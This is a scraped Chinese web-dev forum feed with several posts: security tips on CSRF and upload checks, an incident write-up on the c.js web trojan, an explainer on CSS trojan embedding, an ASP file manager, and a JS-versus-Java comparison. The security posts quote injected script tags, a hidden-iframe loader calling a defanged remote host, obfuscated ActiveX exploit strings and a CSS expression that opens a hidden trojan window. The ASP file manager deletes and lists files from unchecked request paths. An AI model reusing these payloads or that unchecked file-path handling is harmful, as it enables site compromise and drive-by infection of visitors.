      引起原因:个人认为csrf在Ajax盛行的今天来说,倒是方便了,因为它可以在你不知道的情况用你的通过验证用户进行操作,所以也被称为浏览器劫持。如果你已通过某个网站的验证那么你将以你的角色对网站进行操作,比如你是管理员可以添加其它的用户到管理组,但是如果有人构造了添加管理员的链接被管理员点后也会执行相应操作.

      解决方法:

      修改信息时添加验证码或添加Session令牌(ASP.NET中已经提供一个自动防范的方法,就是用页面属性ViewStateUserKey.在Page_Init方法中设置其值:this.ViewStateUserKey=Session.SessionID)。

      文件上传

      引起原因:

      如果你的网站使用的是在线编辑器,如FCKEditor,eWeb等等,如果没有处理好文件上传,那么上线后网站会很快的被篡改。

      解决方法:

      在用户登录时加入是否可上传文件的Session标志。其实Fckeditor已经写好了。直接把验证函数CheckAuthentication()中的注释段中

    return ( Session[ "IsAuthorized" ] != null && (bool)Session[ "IsAuthorized" ] == true );

      注释去掉。在登录成功加入

    Session[“IsAuthorized”] = true;

      就可以了。

      如果网站没有用到上传到服务器的文件浏览的话把fckeditor"editor"filemanager中的browser目录也删除。

    ]]>
    IE漏洞攻击剧增 最新/CSS/c.js木马防范手记http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=2282&Page=1轻轻风聆2009/3/27 19:00:17近日,一款利用IE7漏洞进行传播的脚本木马在网上迅速传播,该木马利用搜索引擎检索站点漏洞,并进行自动传播。几天内,数万站点遭受感染,其中hongxiu.com、msn中国、东方财经网等都被入侵。

    发现恶意软件!

    某日早上,某网站维护人员小任像往常一样打开了网站首页,随手点击了一个链接,想验证一下网站是否可以正常访问,没想到居然触发了防病毒的软件的报警:“发现恶意软件”。心细的小任在一查之下大吃了一惊:首页的几乎所有链接都被加上了一个奇怪的网址“hxxp://c.nuclear3.com/css/c.js”,而这个js脚本,就是触发防病毒软件报警的元凶。

    无奈之下,小任想到了自己单位的网络安全设备提供商启明星辰公司,并立刻联系上该公司驻当地人员,同时一并提供的还有网站的日志文件。

    攻击者的手法

    很快,小任就得到了启明星辰工程师的反馈信息,在网站的/down.asp页面下,存在一个反射式的XSS漏洞,骇客就是利用这个漏洞,通过cookie 注入的方式,将恶意脚本

    <Script Src=hxxp://c.nu%63%6Cear3.com/css/c.js></script>

    注入到每一个网站链接中,以达到危害用户的目的。

    小知识:什么叫反射式XSS?

    Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。

    在这个例子里,骇客将恶意脚本嵌入URL,网站访问者一旦点击这个链接,浏览器将认为恶意代码是来自网站,从而“放心”的执行。

    小知识:cookie注入

    Cookie注入是SQL注入攻击的一种表现形式,是系统直接使用"request("name")"获取客户提交的数据,并对客户提交的变量没有过滤,而且在防注入程序中没有限制Request.cookie所导致的。

    一个典型的例子就是

    javascript:alert(document.cookie="id="+escape(XX and "attack string")

    斩断注入黑手

    了解了问题的根源,剩下的就是防御问题了。在启明星辰工程师的协助下,通过安星远程网站安全检查服务,小任挨个清除了页面上所挂木马,同时还发现网站存在数个SQL注入和XSS漏洞,而原有的网站安全检查代码由于无法进行语义一级的还原①,无法彻底杜绝这两类攻击,只有通过部署相应安全产品解决。在对比了数家国内外的Web安全防御产品后,该网站最终选择了天清入侵防御产品,其采用攻击机理分析方式对Web威胁如SQL注入、XSS攻击等进行精确阻断。与传统的基于数据特征匹配和基于异常模型构建的Web安全相比,有着更低的漏报率和误报率。天清入侵防御产品上线后,当小任尝试用此前注入漏洞再次进行攻击时,发现在产品事件监视台上已经及时出现了报警信息并予以了阻断。再次采用安星检查服务后发现,已经无法嗅探出任何漏洞。

    注①:继续拿/css/c.js木马举例,该木马的注入代码是hxxp://c.nuclear3.com/css/c.js,但这个.js脚本并不是真正的攻击代码,而只是一段代码:

    document.write("<iframe src='hxxp://fvgit.cn/01/index.htm' width='100' height='0'></iframe>");

    这个脚本文件会在一个隐藏的框体中引用有害的链接:'hxxp://fvgit.cn/01/index.htm,真正的攻击代码存在于这个链接处,这段攻击代码异常简单,摈弃了头标签体标签,直接就是攻击代码,且采用了替换躲避手法:

    var ll=new ActiveXObject("snpv"+"w.Snap"+"shot View"+"er Cont"+"rol.1");}
    rrooxx = "I" + "E" + "R" + "P" + "C" + "t" + "l" + ".I" + "ERP" + "Ctl.1";

    这种替换躲避手法需要使用到语义还原,如果仅检查关键字,是无法发现和抵御此类攻击的。

    (注:出于安全原因,文中所有“http”均被替换为“hxxp”。)

    ]]>
    了解CSS挂马及相应防范方法http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=2281&Page=1轻轻风聆2009/3/27 18:59:14黑客们发现发现,用来制作网页特效的CSS代码,也可以用来挂马。

    随着Web2.0的普及,各种网页特效用得越来越多,这也给黑客一个可乘之机。他们发现,用来制作网页特效的CSS代码,也可以用来挂马。而比较讽刺的是,CSS挂马方式其实是从防范E挂马的CSS代码演变而来。

    安天实验室阿楠:安全工程师,从事病毒分析多年。

    网站挂马的手段最初非常单一,但是随着Web2.0技术以及Blog、Wiki等广泛的应用,挂马也涌现出各种各样的技术,其中CSS挂马方式,可以说是Web2.0时代黑客的最爱。有许多非常着名的网站都被黑客用CSS挂马入侵过。

    在我印象中,记忆最深刻的一次是百度空间CSS挂马。当时,百度空间推出没有多久,就有许多百度用户收到了类似“哈,节日快乐呀!热烈庆祝2008,心情好好,记住要想我!http://hi.baidu.com/XXXXX”的站内消息。

    由于网址是百度空间的网址,许多用户认为不会存在安全问题,加上又有可能是自己朋友发来的,因此会毫不犹豫地点击进入。但是进入指定的网址后,用户就会感染蠕虫病毒,并继续传播。

    由于蠕虫扩散非常严重,最终导致百度空间不得不发布官方声明提醒用户,并且大费周折地在服务器中清除蠕虫的恶意代码。那一次的挂马事件利用的就是百度空间CSS模板功能,通过变形的expression在CSS代码中动态执行脚本,让指定的远程恶意代码文件在后台悄悄运行并发送大量伪造信息。

    我建议大家在点击陌生链接时,要多个心眼,大网站也是可能被挂马的。大家在上网时,最好还是使用一些带网页木马拦截功能的安全辅助工具。

    黑客为什么选择CSS挂马?

    在Web1.0时代,使用E挂马对于黑客而言,与其说是为了更好地实现木马的隐藏,倒不如说是无可奈何的一个选择。在简单的HTML网页和缺乏交互性的网站中,黑客可以利用的手段也非常有限,即使采取了复杂的伪装,也很容易被识破,还不如E来得直接和有效。

    但如今交互式的Web2.0网站越来越多,允许用户设置与修改的博客、SNS社区等纷纷出现。这些互动性非常强的社区和博客中,往往会提供丰富的功能,并且会允许用户使用CSS层叠样式表来对网站的网页进行自由的修改,这促使了CSS挂马流行。

    小百科:

    CSS是层叠样式表(CascadingStyleSheets)的英文缩写。CSS最主要的目的是将文件的结构(用HTML或其他相关语言写的)与文件的显示分隔开来。这个分隔可以让文件的可读性得到加强、文件的结构更加灵活。

    黑客在利用CSS挂马时,往往是借着网民对某些大网站的信任,将CSS恶意代码挂到博客或者其他支持CSS的网页中,当网民在访问该网页时恶意代码就会执行。这就如同你去一家知名且证照齐全的大医院看病,你非常信任医院,但是你所看的门诊却已经被庸医外包了下来,并且打着医院的名义利用你的信任成功欺骗了你。但是当你事后去找人算账时,医院此时也往往一脸无辜。对于安全工程师而言,CSS挂马的排查是必备常识。

    CSS挂马攻防实录

    攻CSS挂马方式较多,但主流的方式是通过有漏洞的博客或者SNS社交网站系统,将恶意的CSS代码写入支持CSS功能的个性化页面中。下面我们以典型的CSS挂马方式为例进行讲解。

    方式1:

    Body

    “background-image”在CSS中的主要功能是用来定义页面的背景图片。这是最典型的CSS挂马方式,这段恶意代码主要是通过“background-image”配合t代码让网页木马悄悄地在用户的电脑中运行。

    那如何将这段CSS恶意代码挂到正常的网页中去呢?黑客可以将生成好的网页木马放到自己指定的位置,然后将该段恶意代码写入挂马网站的网页中,或者挂马网页所调用的CSS文件中。

    小百科:

    使用Body对象元素,主要是为了让对象不再改变整个网页文档的内容,通过Body对象的控制,可以将内容或者效果控制在指定的大小内,如同使用DIV对象那样精确地设置大小。

    方式2:

    Body

    background-image: url(t:open("http://www.X.com/muma.htm","newwindow","border="1" Height=0, Width=0, top=1000, center=0, toolbar=no,menubar=no, scrollbars=no,resizable=no,location=no,status=no"))

    方式1的CSS挂马技术,在运行时会出现空白的页面,影响网页访问者正常的访问,因此比较容易发现。不过在方式2中的这段代码,使用了t的Open开窗,通过新开一个隐藏的窗口,在后台悄悄地运行新窗口并激活访问网页溢出木马页面,不会影响访问者观看网页内容,因此更加隐蔽。

    防网络服务器被挂马,通常会出现防病毒软件告警之类的信息。由于漏洞不断更新,挂马种类时刻都在变换,通过客户端的反映来发现服务器是否被挂马往往疏漏较大。正确的做法是经常检查服务器日志,发现异常信息,经常检查网站代码,使用网页木马检测系统,进行排查。

    目前除了使用以前的阻断弹出窗口防范CSS挂马之外,还可以在网页中设置CSS过滤,将CSS过滤掉。不过如果你选择过滤CSS的话,首先需要留意自己的相关网页是否有CSS的内容,因此我们仍然首推用阻断方式来防范CSS。阻断代码如下所示:

    emiao1:expression(this.src="about:blank",this.outerHTML="");

    将外域的木马代码的src重写成本地IE404错误页面的地址,这样,外域的t代码不会被下载。不过阻断方式也有天生致命的弱点,弱点的秘密我们将于下次揭晓。

    ]]>
    ASP文件管理简单示例http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=2124&Page=1轻轻风聆2008/11/28 13:37:29%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
    <%
    act=request("act")
    select case act
    case "del"
    Del()
    case else
    Show()
    end select
    function Del()
    files=trim(request("fs"))
    files=replace(files,",",":")
    files=replace(files,",","\")
    on error resume next
    Set Sys = Server.CreateObject("Scripting.FileSystemObject")
    If Sys.FileExists(files) Then
        Sys.DeleteFile(files)
    end if
    if err then
       response.write "<script>alert('无法删除指定文件,请联系管理员以手动方式删除!');window.history.back();</script>"
    else
       response.write "<script>alert('文件删除成功!');window.location='filemanage.asp';</script>"
    end if
    end function
    function Show()
    fs=request("fs")
    if fs<>"" then
       folderspec=fs&"\"
    else
       folderspec="E:\WebSite\"
    end if
    '锁定目录
    if len(folderspec)<len("E:\WebSite\") then
       folderspec="E:\WebSite\"
    end if
    set fs=createobject("scripting.filesystemobject")
    set f=fs.getfolder(folderspec)
    set fd=f.subfolders
    %>
    <link href="cssStyle/main.css" rel="stylesheet" type="text/css">
    <style>
    body
    {
    background-color:#FFFFFF;
    }
    </style>
    <table width="100%" border="1" align="center" cellpadding="2" cellspacing="0" bordercolorlight="#555555" bordercolordark="#F3F3F3">
       <tr>
       <td height="25" bgcolor="#ECE9D8">当前路径:<%=folderspec%></td>
       </tr>
    </table>
    <table width="100%" border="1" align="center" cellpadding="2" cellspacing="0" bordercolorlight="#555555" bordercolordark="#F3F3F3">
    <tr>
       <th height="23" colspan="2">文件名</th>
       <th>文件大小</th>
       <th>文件类型</th>
       <th>创建日期</th>
       <th>文件管理</th>
       </tr>
    <%
    for each whatever in fd
    %>
       <tr >
       <td width="23" height="23"><a href="filelist.asp?fs=<%=folderspec%>&<%=whatever.name%>"><img src="images/folder.gif" width="20" height="20" border="0"></td>
       <td><a href="?fs=<%=folderspec&whatever.name%>"><%=whatever.name%></a></td>
       <td><%=whatever.size%></td>
       <td><%=whatever.type%></td>
       <td><%=whatever.DateCreated %></td>
       <td>&nbsp;</td>
       </tr>
    <%next
    set fc=f.files
    for each whatever in fc
    %>
       <tr >
       <td width="23" height="23"><a href="filelist.asp?fs=<%=folderspec%>&<%=whatever.name%>"><img src="images/file.gif" width="20" height="20" border="0"></td>
       <td height="23"><%=whatever.name%></td>
       <td><%=int(whatever.size/1024)+1%> KB</td>
       <td><%=whatever.type%></td>
       <td><%=whatever.DateCreated %></td>
       <td>
       <%
        url=replace(folderspec,"E:\WebSite\","")
        url=replace(url,"\","/")
        fos=replace(folderspec&whatever.name,"\",",")
        fos=replace(fos,":",",")
       %>
       <a href="http://www.xxx.com/<%=url%><%=whatever.name%>" target="_blank">查看</a> | <a href="#" >删除</a>
       </td>
       </tr>
    <%
    next
    %>
    </table>
    <table width="100%" border="1" align="center" cellpadding="2" cellspacing="0" bordercolorlight="#555555" bordercolordark="#F3F3F3">
       <tr>
       <td height="25" bgcolor="#FFFFFF">
       <%
       str="?fs="&folderspec
       If InstrRev(str, "\") > 1 Then
        str=Left(str, InstrRev(str, "\") - 1)
       End If
       If InstrRev(str, "\") > 1 Then
        str=Left(str, InstrRev(str, "\") - 1)
       End If
       %>
       <a href="<%=str%>">返回上一级</a></td>
       </tr>
    </table>
    <%end function%>]]>
    网页设计中JS与Java的区别http://combss.com/bbs/dispbbs.asp?BoardID=48&ID=2120&Page=1轻轻风聆2008/11/27 22:09:37
      什么是JavaScript ? 

      JavaScript 是对 ECMA 262 语言规范的一种实现。本教程的目的就是引导您学习使用 JavaScript ,所有例子都在 Internet Explorer 5 下通过,本人并没有在 Netscape 的各版浏览器中测试,所以可能有的例子不能在Netscape的浏览器中顺利运行。 

      易学易用 
      JavaScript 是一种解释型的、基于对象的脚本语言。尽管与诸如 C++ 和 Java 这样成熟的面向对象的语言相比, JavaScript 的功能要弱一些,但对于它的预期用途而言, JavaScript 的功能已经足够大了。 

      JavaScript 不是任何其他语言的精简版(例如,它只是与 Java 有点模糊而间接的关系),也不是任何事物的简化。不过,它有其局限性。例如,您不能使用该语言来编写独立运行的应用程序,并且该语言读写文件的功能也很少。此外, JavaScript 脚本只能在某个解释器上运行,该解释器可以是 Web 服务器 ,也可以是 Web 浏览器。 

      JavaScript 是一种宽松类型的语言。这意味着您不必显式定义变量的数据类型。此外,在大多数情况下, JavaScript 将根据需要自动进行转换。例如,如果试图将一个数值添加到由文本组成的某项(一个字符串),该数值将被转换为文本。 

    什么是JAVA? 

      Java是Sun公司推出的一种编程语言。它是一种通过解释方式来执行的语言,语法规则和C++类似。同时,Java也是一种跨平台的程序设计语言。用Java语言编写的程序叫做“Applet”(小应用程序),用编译器将它编译成类文件后,将它存在WWW页面中,并在HTML档上作好相应标记,用户端只要装上Java的客户软件就可以在网上直接运行“Applet”。 Java非常适合于企业网络和Internet环境,现在已成为Internet中最受欢迎、最有影响的编程语言之一。 Java有许多值得称道的优点,如简单、面向对象、分布式、解释性、可靠、安全、结构 

      中立性、可移植性、高性能、多线程、动态性等。Java摈弃了C++中各种弊大于利的功能和许多很少用到的功能。 Jave可以运行与任何微处理器,用Java开发的程序可以在网络上传输,并运行于任何客户机上。 

      javascript与Java的区别主要表现在以下方面: 

      一、javascript与Java是由不同的公司开发的不同产品。javascript是Netscape公司的产品,其目的是为了扩展Netscape Navigator功能,而开发的一种可以嵌入Web页面中的基于对象和事件驱动的解释性语言;而Java是SUN Microsystems公司推出的新一代面向对象的程序设计语言,特别适合于Internet应用程序开发。实际上,javascript最初的名字并不是javascript,而是LiveScript,名字中的“Java”是经过SUN Microsystems公司授权的。 

      二、javascript是基于对象的,它是一种脚本语言,是一种基于对象和事件驱动的编程语言,因而它本身提供了非常丰富的内部对象供设计人员使用。而Java是面向对象的,即Java是一种真正的面向对象的语言,即使是开发简单的程序也必须设计对象。 

      三、javascript与Java嵌入方式不一样。在HTML文档中,两种编程语言的标识不同,javascript使用……来标识,而Java使用来标识。 

      四、javascript与Java在浏览器中所执行的方式不一样。javascript是一种解释性编程语言,其源代码在发往客户端执行之前不需经过编译,而是将文本格式的字符代码发送给客户,即javascript语句本身随Web页面一起下载下来,由浏览器解释执行。而Java的源代码在传递到客户端执行之前,必须经过编译,因而客户端上必须具有相应平台上的仿真器或解释器,它可以通过编译器或解释器实现独立于某个特定的平台编译代码。 

      五、javascript与Java代码格式不一样。javascript的代码是一种谋咀址 格式,可以直接嵌入HTML文档中,并且可动态装载,编写HTML文档就像编辑文本文件一样方便,其独立文件的格式为*.js。Java是一种与HTML无关的格式,必须通过像HTML中引用外媒体那么进行装载,其代码以字节代码的形式保存在独立的文档中,其独立文件的格式为*.class。 

      六、javascript与Java所采取的变量是不一样的。javascript中的变量声明采用弱类型,即变量在使用前不需作声明,而是解释器在运行时检查其数据类型。Java采用强类型变量检查,即所有变量在编译之前必须作声明。 

      七、javascript采用动态联编,即javascript的对象引用在运行时进行检查。Java采用静态联编,即Java的对象引用必须在编译时的进行,以使编译器能够实现强类型检查。 

      八、javascript不直接对文本和图形进行操作,它在Web页面中与HTML元素组合一起发挥作用,但它可以控制浏览器,让浏览器直接对文本和图形进行处理。而Java则可以直接对文本和图形进行操作。 

      综上所述,我们可以发现,javascript与Java虽然都可以应用于网页设计,但它们的确有太大的区别,根本就是两种语言。]]>